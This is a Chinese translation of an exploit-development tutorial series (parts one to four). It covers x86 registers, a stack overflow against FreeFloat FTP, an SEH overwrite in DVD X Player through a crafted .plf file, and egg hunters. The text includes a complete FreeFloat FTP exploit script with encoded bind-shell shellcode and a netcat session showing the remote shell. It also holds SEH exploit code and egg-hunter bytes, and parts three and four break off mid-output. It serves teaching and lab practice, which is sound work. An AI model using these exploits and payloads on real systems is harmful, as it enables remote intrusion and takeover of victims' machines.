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第一部分： Introduction to Exploit Development

前言

漏洞利用系列教程的第一部分. 这部分涉及漏洞利用最基本的内容, 比如漏洞利用需要什, 漏洞利用基本概念, 还有如果要成功执行shellcode, 我们需要记住的几件事. 本系列教程不涉及如何发现软件的bug, 相反, 每一部分都有一个有漏洞的程序, 通过特定的技术, 可以成功利用它.我会在适当的时候介绍从’溢出覆盖返回地址’ 到 ’ROP(返回导向编程)’等一系列技术. 值得一提的是, 这个教程不会涉及所有漏洞利用所有的细节;通过(1)能节约我一些时间(2)能帮助热爱学习的参与进来

这里我尤其要感谢 Offensive Security and Corelan, 谢谢你们使我染上这神奇而又痛苦的毒瘾.

(1)我们需要什么

Immunity Debugger – 下载

Immunity Debugger类似于Ollydbg, 但是它支持python, 有助于我们在漏洞利用中运行一些脚本. 它完全免费;点上面 ‘下载’ 链接然后填上一些虚假的信息就可以下载到Immunity Debugger.

Mona.py – 下载

Mona是一个很好的工具, 它的很多功能使得漏洞利用更快速和稳定. 当然我不会介绍所有的参数, 在教程接下来的部分我们将会用到它们. 下载然后把它放到Immunity’s PyCommands文件夹.

Pvefindaddr.py – 下载

Pvefindaddr是mona’s的老版本. 我知道它有点过时了, 只是它有一些有用的功能没有集成到mona中. 下载然后把它放到Immunity’s PyCommands文件夹.

Metasploit Framework –下载

我们将经常使用Metasploit 框架,最重要的是我们能从这个msf得到漏洞利用的shellcode,还有, 我们需要一个接收任何连接的平台, 通过反连进行漏洞利用. 我建议你用Backtrack, 因为它集成了我们需要的所有东西, 并且你可以随意设置metasplot, 使它工作在你认为合适的方式.

虚拟机

基本上会选择VirtualBox(免费)或者Vmware(收费). 如果有条件, 我建议用Vmware; 聪明的人可能不需要付钱;)). 与之配套, 我们需要装上几个32位的操作系统(最常用的是Windows xp sp3 和 Windows 7).

(2)溢出

对于这个教程的, 我认为该简单的要讲的简单，反义也是. 一般来说, 如果我们想写一个漏洞利用程序, 首先需要找到一个有溢出漏洞的程序.通常, 这些bug会是缓冲区溢出(内存被比它大的数据覆盖)或者堆溢出(通常是超长数据超出堆得范围). 溢出发生时,我们需要知道两件事;(1)需要覆写eip的缓冲区(当前指令指针), (2)一个指向我们缓冲区的寄存器. 下面是x86 cpu寄存器列表和它们的功能. 记住, 任何一个寄存器都可以指向我们的缓冲区(shellcode).

EAX –用于算术运算和累加, 保存算术运算结果和函数的返回值

EBX – 基地址寄存器, 指向DS段. 用于保存程序的基地址.

ECX - 计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。

EDX –通用寄存器. 也用于I/O操作. 扩展EAX到64位

ESI - 源标索引寄存器. 指向DS指向的数据段. 在字符串或数组操作时用作偏移. 是读取数据的源地址

EDI - 目标索引寄存器. 指向ES指向的数据段.  在字符串或数组操作时用作偏移. 保存字符串复制的目的地址

EBP –基址指针.指向栈上的数据. 指向当前栈帧底部. 用于引用局部变量.

ESP –堆栈指针.指向当前栈帧顶部. 用于引用局部变量

EIP – 指令指针(保存将要被执行指令的地址)

(3)它如何工作?

基本上

(1)  我们有一个缓冲区溢出程序(通过超长字符串)

(2)  这个字符串会覆盖eip, 它的地址保存在某个寄存器

(3)  找到一个指向这个寄存器的指针

(4)  用这个指针覆盖原来的eip

(5)  当程序返回的时候最终会跳去执行我们的指令

(6)  把shellcode放在某个寄存器所指向的地址

实际上我们劫持了程序, 把eip指向我们可控的区域. 能做到这, 我们就可以远程执行任意代码. 这似乎有点简单了,但这就是漏洞利用的基本思想.


第二部分：Saved Return Pointer Overflows

溢出返回地址

漏洞利用系列教程第二部分, 这部分我将用 ”FreeFloat FTP”演示栈溢出覆盖返回地址, 假设我们能够控制EIP并且同时有一个寄存器指向我们可控的缓冲区. 这里有有几个写好的利用程序:这里.

一般地, 在漏洞利用过程中, 我们首先需要分析坏字符. 对于第一篇教程, 我决定使用exploit-db上metasploit模块列出的坏字符. 这个软件的坏字符是”\x00\X0a\X0D”. 请记住它们.

漏洞利用环境: Backtrack5

调试机器: Windows XP PRO SP3

漏洞软件：下载

重现崩溃

首先, 我们创建一个针对FTP SERVER的漏洞利用框架. 后续我们将在它的基础上开发我们的漏洞利用程序. exploit-db上”FreeFloat FTP”的POC如下, 我们使用FTP server默认配置已经存在的账户名”anonymous”:

#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close


好, 当我们用调试器附加FTP server然后发送POC给程序, 程序崩溃. 从下面的截图可以看到EIP已经被覆写, 两个寄存器(ESP EDI)指向我们可控的缓冲区. 分析之后我发现使用ESP更合适因为ESP包含了更大块的可控内存.(顺便提一下用EDI同样也可以).



改写EIP

接下来分析这个崩溃, 为了方便我用metasploit模式字符串替换替换前面的AAAAA…., 注意保持原始的缓冲区大小, 变化大小可能会影响崩溃.



当程序再次崩溃, 再看看EIP已经被metasploit模式字符串覆写. 现在是时候出动”mona”了. 使用下面的命令分析程序崩溃, 你可以看到下面的结果.



由上图我们可以知道EIP在247字节后被覆盖. 同样看看ESP指向的缓冲区包含了更多我们可控的空间. 知道这些信息后, 我们重新布置脚本如下:

Evil= “A”*247 + “B”*4 +”C”*749

再次运行这个脚本, 结果正如所料. EIP被覆写为BBBB.



这意味着我们可以用一个指针替换BBBB, 将程序重定向到ESP所指的地方. 唯一需要注意的是这个指针不能包含坏字符. 可以使用”mona” 

!mona jmp –r esp

搜索这个指针. 下图是结果:



似乎这些指针都可以. 它们特定于”WinXP PRO SP3”的系统dll模块. 但这不是我们首要关注的.我们用列表第一个指针. 记住:由于cpu是小序,所以指针需要逆序.

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749

强调一下你应该根据你的实际情况作调整, 最后的POC像下面这样:

#!/usr/bin/python
import socket
import sys
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close


用调试器附加程序, 运行这个脚本. 我们可以看到EIP已经被我们的指针覆盖掉了。接下来就能执行到ESP所指的地方了.



Shellcode+游戏结束

我们完成了大部分工作. 我们需要

1)  在POC增加一个变量, 保存shellcode

2)  插入一个payload

开始吧, 我们用payload插入现在CCCC…地方, 如果插入的payload长度不固定, 我们希望缓冲区长度动态修改以便我们不需要重新计算长度. 还应该插入一些NOP’s(空操作= \x90) 填充在payload前面. 你可以下面看到结果. 插入到shellcode变量的任何shellcode都能被执行.

#!/usr/bin/python
import socket
import sys
shellcode = (
)
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp #  ret  | msvcrt.dll
#------------------------------------------------------------
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close


万事俱备, 只欠shellcode. 可以用msfpayload获得shellcode, msfencode过滤坏字符.

root@bt:~# msfpayload -l
[...snip...]
windows/shell/reverse_tcp_dns     Connect back to the attacker, Spawn a piped command shell (staged)
windows/shell_bind_tcp            Listen for a connection and spawn a command shell
windows/shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 
                                  command shell
[...snip...]
root@bt:~# msfpayload windows/shell_bind_tcp O

       Name: Windows Command Shell, Bind TCP Inline
     Module: payload/windows/shell_bind_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 341
       Rank: Normal
Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LPORT     4444             yes       The listen port
RHOST                      no        The target address

Description:
  Listen for a connection and spawn a command shell
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1
unsigned char buf[] = 
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92";


美化代码，增加了些注释. 所以最后的漏洞利用程序如下.

#!/usr/bin/python
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 2 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/2.html                             #
#----------------------------------------------------------------------------------#
# root@bt:~/Desktop# nc -nv 192.168.111.128 9988                                   #
# (UNKNOWN) [192.168.111.128] 9988 (?) open                                        #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
#                                                                                  #
# C:\Documents and Settings\Administrator\Desktop>                                 #
#----------------------------------------------------------------------------------#
import socket
import sys
#----------------------------------------------------------------------------------#
# msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -b '\x00\x0A\x0D' -t c #
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)                     #
#----------------------------------------------------------------------------------#
shellcode = (
"\xdb\xd0\xbb\x36\xcc\x70\x15\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x22\x2e\x85\xe9\xa2\x27"
"\x66\x12\x32\x58\xee\xf7\x03\x4a\x94\x7c\x31\x5a\xde\xd1\xb9"
"\x11\xb2\xc1\x4a\x57\x1b\xe5\xfb\xd2\x7d\xc8\xfc\xd2\x41\x86"
"\x3e\x74\x3e\xd5\x12\x56\x7f\x16\x67\x97\xb8\x4b\x87\xc5\x11"
"\x07\x35\xfa\x16\x55\x85\xfb\xf8\xd1\xb5\x83\x7d\x25\x41\x3e"
"\x7f\x76\xf9\x35\x37\x6e\x72\x11\xe8\x8f\x57\x41\xd4\xc6\xdc"
"\xb2\xae\xd8\x34\x8b\x4f\xeb\x78\x40\x6e\xc3\x75\x98\xb6\xe4"
"\x65\xef\xcc\x16\x18\xe8\x16\x64\xc6\x7d\x8b\xce\x8d\x26\x6f"
"\xee\x42\xb0\xe4\xfc\x2f\xb6\xa3\xe0\xae\x1b\xd8\x1d\x3b\x9a"
"\x0f\x94\x7f\xb9\x8b\xfc\x24\xa0\x8a\x58\x8b\xdd\xcd\x05\x74"
"\x78\x85\xa4\x61\xfa\xc4\xa0\x46\x31\xf7\x30\xc0\x42\x84\x02"
"\x4f\xf9\x02\x2f\x18\x27\xd4\x50\x33\x9f\x4a\xaf\xbb\xe0\x43"
"\x74\xef\xb0\xfb\x5d\x8f\x5a\xfc\x62\x5a\xcc\xac\xcc\x34\xad"
"\x1c\xad\xe4\x45\x77\x22\xdb\x76\x78\xe8\x6a\xb1\xb6\xc8\x3f"
"\x56\xbb\xee\x98\xa2\x32\x08\x8c\xba\x12\x82\x38\x79\x41\x1b"
"\xdf\x82\xa3\x37\x48\x15\xfb\x51\x4e\x1a\xfc\x77\xfd\xb7\x54"
"\x10\x75\xd4\x60\x01\x8a\xf1\xc0\x48\xb3\x92\x9b\x24\x76\x02"
"\x9b\x6c\xe0\xa7\x0e\xeb\xf0\xae\x32\xa4\xa7\xe7\x85\xbd\x2d"
"\x1a\xbf\x17\x53\xe7\x59\x5f\xd7\x3c\x9a\x5e\xd6\xb1\xa6\x44"
"\xc8\x0f\x26\xc1\xbc\xdf\x71\x9f\x6a\xa6\x2b\x51\xc4\x70\x87"
"\x3b\x80\x05\xeb\xfb\xd6\x09\x26\x8a\x36\xbb\x9f\xcb\x49\x74"
"\x48\xdc\x32\x68\xe8\x23\xe9\x28\x18\x6e\xb3\x19\xb1\x37\x26"
"\x18\xdc\xc7\x9d\x5f\xd9\x4b\x17\x20\x1e\x53\x52\x25\x5a\xd3"
"\x8f\x57\xf3\xb6\xaf\xc4\xf4\x92")
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close


下图可以看到运行这个脚本前后netstat –an命令的结果, 程序反连到绑定的shell, 游戏结束！！



root@bt:~/Desktop# nc -nv 192.168.111.128 9988
(UNKNOWN) [192.168.111.128] 9988 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 
C:\Documents and Settings\Administrator\Desktop>



第三部分：Structured Exception Handler (SEH)

前言

这一节介绍漏洞利用中你会遇到的真正障碍. SEH用于缓解缓冲区攻击造成的问题. 但它也是有缺陷的. 先说明本文不会讨论SafeSeh或者SEHOP, 稍后的Part 3b会解决这些保护机制. 我将用’ DVD X Player 5.5 PRO’演示SEH利用. 已有的漏洞利用程序:这里

通常情况下漏洞利用之前我们需要先分析程序的坏字符, 但为了专注于SEH技术, 我简单的把坏字符列出来:’\x00\x0a\x0d\x1a’. 请记住它们.

利用环境: Backtrack 5

调试机器: Winows XP PRO SP3

漏洞软件: 下载

异常处理介绍

像第一部分说的那样, 我不会解释SEH全部细节, 但我会给你足够的信息了解它. 我非常建议你做更深层次的研究. SEH是Windows系统的一项机制, 它使用链表结构记录一系列数据. 当一个异常触发, 操作系统会遍历这个链表. 异常处理程序可以评估能否处理这个异常, 不能的话就传给链表的下一个处理函数. 处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH) (2)指向下一个异常处理结构的指针(Nseh). 因为Windows堆栈是向下生长的, 所以我们看到异常处理结构是颠倒的[nSEH…[SEH]. 当一个异常出现, 最近一个nSEH的地址会保存在esp+8地址处.

你可能会想这和漏洞利用有什么关系. 如果我们能够控制一大块缓冲区并且覆写其中一个异常处理函数, 异常发生时候Windows会把寄存器清0, 因此不能直接跳到Shellcode. 幸运的是这个保护机制有缺陷, 我们只需要用pop pop retn 指令地址覆盖掉SEH. 记住esp+8处保存着nSEH的地址, pop pop retn执行后程序最终会跳到nSEH处执行. 我们可以控制nSEH这四个字节的空间, 通过在这四个字节空间写入指令跳转到Shellcode.

这听起来有点复杂, 实际上SEH利用十分简单, 下面的例子将会演示SEH利用.

重现崩溃

下面是文件格式的漏洞利用框架, 我们会创建一个.plf文件, 写入很多字符. 稍后DVD Player读取这个文件就会造成缓冲区溢出.(这与通过TCP或UDP发送超长字符串有很大不同). 唯一的缺点是我们需要欺骗受害者打开这个文件.

#!/usr/bin/python -w
filename="evil.plf"
buffer = "A"*2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


创建plf文件, 用immunity debugger附加播放器并打开这个播放文件, 正如预期那样, 播放器崩溃了. Shift+F9跳过初始异常(因为初始的异常会导致不同的漏洞利用技术而我们只关心SEH). 你可以看到下面的CPU寄存器截图(你会注意到一个寄存器已经被清零了)另外一张图显示我们已经覆写掉SEH记录.





覆写SEH和Nseh

接下来用metasploit模式字符串替换原字符串(注意保持缓冲区长度一致).

root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]
f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5
Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co


重复前面步骤, 用mona分析崩溃. 如下图, 我们关心的是覆写SEH, 从图中可以知道612字节可以覆盖到SEH.



不错, 接下来我们用下面这样子来替换前面代码相应部分. 

buffer = "A"*608 + [nSEH] + [SEH] + "D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384


记住我们要把要用pop pop retn 指令覆写SEH,.用mona的

!mona seh

可以帮助我们找到这条指令.看下图, 值得一提的是, mona已经过滤掉来自SafeSEH模块的指针.



这些地址大部分都可以用, 记住不包含坏字符即可. 通常我会选择pop pop retn而不是pop pop retn n. 在immunity debugger 的安装目录下找到SEH.txt, 里面有2968个合法的指针. 有序小序的CPU架构, 需要扭转字节顺序.

Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384

我们先不管nSEH, 在调试的时候再看看需要填充什么才合适. 注意pop pop retn指令来自DVD Player的EPG.dll模块, 这意味着这个漏洞利用程序更稳定, 新的POC看起来像下面这样子:

#!/usr/bin/python -w
  
filename="evil.plf"
 
#---------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                         #
#                                                                           #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                          #
# (2) nseh = ????                                                           #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                 #
# (3) Shellcode space = 1384-bytes                                          #
#---------------------------------------------------------------------------#
 
buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


重新生成plf文件并调试打开它, Shift+F9通过第一次异常后触发了我们的断点. 如下图



完美, 如果继续F7单步执行, 最终程序会执行到BBBB(Nseh). 我们可以看到覆盖在SEH的指针被转化为操作码, 我们可以用Shellcode替换SEH后面的”D”*1384, 现在只需要在nSEH写入跳转指令以便跳到”D”*1384,也就是Shellcode. 可以用调试器完成, 观察下面的图:







我们需要往后跳至少4个字节(\x90\x90+SEH)才能跳到位于SEH之后的Shellcode, 新的缓冲区布置如下:

buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384

shellcode+游戏结束

这一系列工作完成. 我们还需要为EXP加上我们的Shellcode. 像以前那样动态计算空间, 改变Shellcode就会很容易. 像下面, Shellcode变量可以放进任何我们想要执行的代码.

#!/usr/bin/python -w
 
filename="evil.plf"
 
Shellcode = (
)
 
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #
# (3) Shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial overwrite, SEH leads us back 4-bytes to nSEH                         #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our Shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#
 
evil = "\x90"*20 + Shellcode
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()


是时候去生成一些Shellcode了, 为了不重复这次我决定使用反连Shell…

root@bt:~# msfpayload -l
[...snip...]
windows/Shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 
                                  command Shell
windows/Shell_reverse_tcp         Connect back to attacker and spawn a command Shell
windows/speak_pwned               Causes the target to say "You Got Pwned" via the Windows Speech API
[...snip...]

root@bt:~# msfpayload windows/Shell_reverse_tcp O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/Shell_reverse_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 





第四部分：Egg Hunters

前言

欢迎来到漏洞利用开发系列教程第四部分. 这部分讲解一项很酷的技术:寻蛋. 这部分我将用’Kolibri v2.0 HTTP Server’演示这项技术. 这里有写好的漏洞利用程序:这里

坏字符:’ \x00\x0d\x0a\x3d\x20\x3f’

漏洞利用环境:Backtrack 5

调试机器:Windows XP PRO SP3

漏洞软件:下载

寻蛋技术介绍

通过前面的学习我们知道缓冲区溢出是如何工作的. 某个CPU寄存器指向我们可控的缓冲区, 劫持执行流重定向到这个CPU寄存器指向的地址, 然后放置在缓冲区内的任何指令都会被执行. 但是假如我们得到程序控制权, 缓冲区缺放不下我们的大payload怎么办. 难道这个漏洞就没法利用了？ 事实上是可以的. 只需完成这两件事中的一件:(1)EIP后的内容也出现在内存的其它地方 (2)布置shellcode在不同的内存区域. 如果这些内存区域距离很近, 你可以用jmp offset指令从一个内存区域跳到另一个内存区域. 然而, 如果距离太远或很难访问到这里区域, 我们需要用另外的技术(我们可以硬编码一个地址然后跳转到它, 为了实现稳定利用显然这不是好主意)

使用寻蛋技术! 寻蛋技术由一组编程指令组成, 与别的shellcode没什么两样. 寻蛋的目的是为了搜索整个内存空间(栈/堆/…)找到我们真正的shellcdoe并执行它. 这里有几个可用的寻蛋指令, 如果你想知道它是如何工作的我推荐你读skape写的这篇文章, 事实上我会稍微修改这些寻蛋指令, 这些指令在下面:

loop_inc_page: 
or    dx, 0x0fff                    // Add PAGE_SIZE-1 to edx 
loop_inc_one: 
inc   edx                           // Increment our pointer by one 
loop_check: 
push  edx                           // Save edx 
push  0x2                           // Push NtAccessCheckAndAuditAlarm 
pop   eax                           // Pop into eax 
int   0x2e                          // Perform the syscall 
cmp   al, 0x05                      // Did we get 0xc0000005 (ACCESS_VIOLATION) ? 
pop   edx                           // Restore edx 
loop_check_8_valid:  
je    loop_inc_page                 // Yes, invalid ptr, go to the next page 
is_egg: 
mov   eax, 0x50905090               // Throw our egg in eax 
mov   edi, edx                      // Set edi to the pointer we validated 
scasd                               // Compare the dword in edi to eax 
jnz   loop_inc_one                  // No match? Increment the pointer by one 
scasd                               // Compare the dword in edi to eax again (which is now edx + 4) 
jnz   loop_inc_one                  // No match? Increment the pointer by one 
matched: 
jmp   edi                           // Found the egg.  Jump 8 bytes past it into our code.


我不会解释它是怎么工作的, 你可以通过skape的文章了解更多细节. 你需要知道的是蛋(也就是我们的shellcode)包含四个字节的标志头. 如果寻蛋开始, 首先它会搜索整个内存直至找到重复两次找到这个标志(如果标志是”1234”, 那么就搜索”12341234”). 当找到这个标志, 改变执行流跳转到标志后的shellcode执行. 如果你需要寻蛋指令, 我推荐下面这个, 很小, 速度和跨windows平台都不错:

"\x66\x81\xca\xff" 
"\x0f\x42\x52\x6a" 
"\x02\x58\xcd\x2e" 
"\x3c\x05\x5a\x74" 
"\xef\xb8\x62\x33" #b3 
"\x33\x66\x8b\xfa" #3f 
"\xaf\x75\xea\xaf" 
"\x75\xe7\xff\xe7" 
The tag in this case is "b33f", if you use an ASCII tag you can easily convert it to hex with a quick  
google search... In this case we will need to prepend our final stage shellcode with "b33fb33f" so our 
egg hunter can find it. 


在开始前, 我会告诉你加入寻蛋指令包含坏字符怎么办. 首先我们写这32字节到二进制文件, 可以用我写的”bin.sh”完成, 接下来用msfencode编码它. 下面是一个例子. 注意编码会改变大小.

root@bt:~/Desktop# ./bin.sh -i test.txt -o hunter -t B
[>] Parsing Input File
[>] Pipe output to xxd
[>] Clean up
[>] Done!!

root@bt:~/Desktop# msfencode -b '\xff' -i hunter.bin[*] x86/shikata_ga_nai succeeded with size 59 (iteration=1)
buf = 
"\xd9\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xbf\x4d\x1a\x03\x02" +
"\xb1\x09\x31\x7e\x17\x83\xee\xfc\x03\x33\x09\xe1\xf7\xad" +
"\xac\x2f\x08\x3e\xed\xfd\x9d\x42\xa9\xcc\x4c\x7e\x4c\x95" +
"\xe4\x91\xf6\x4b\x36\x5e\x61\x07\xc2\x0f\x18\xfd\x9c\x3a" +
"\x04\xfe\x04"

root@bt:~/Desktop# msfencode -e x86/alpha_mixed -i hunter.bin[*] x86/alpha_mixed succeeded with size 125 (iteration=1)
buf = 
"\xdb\xcf\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
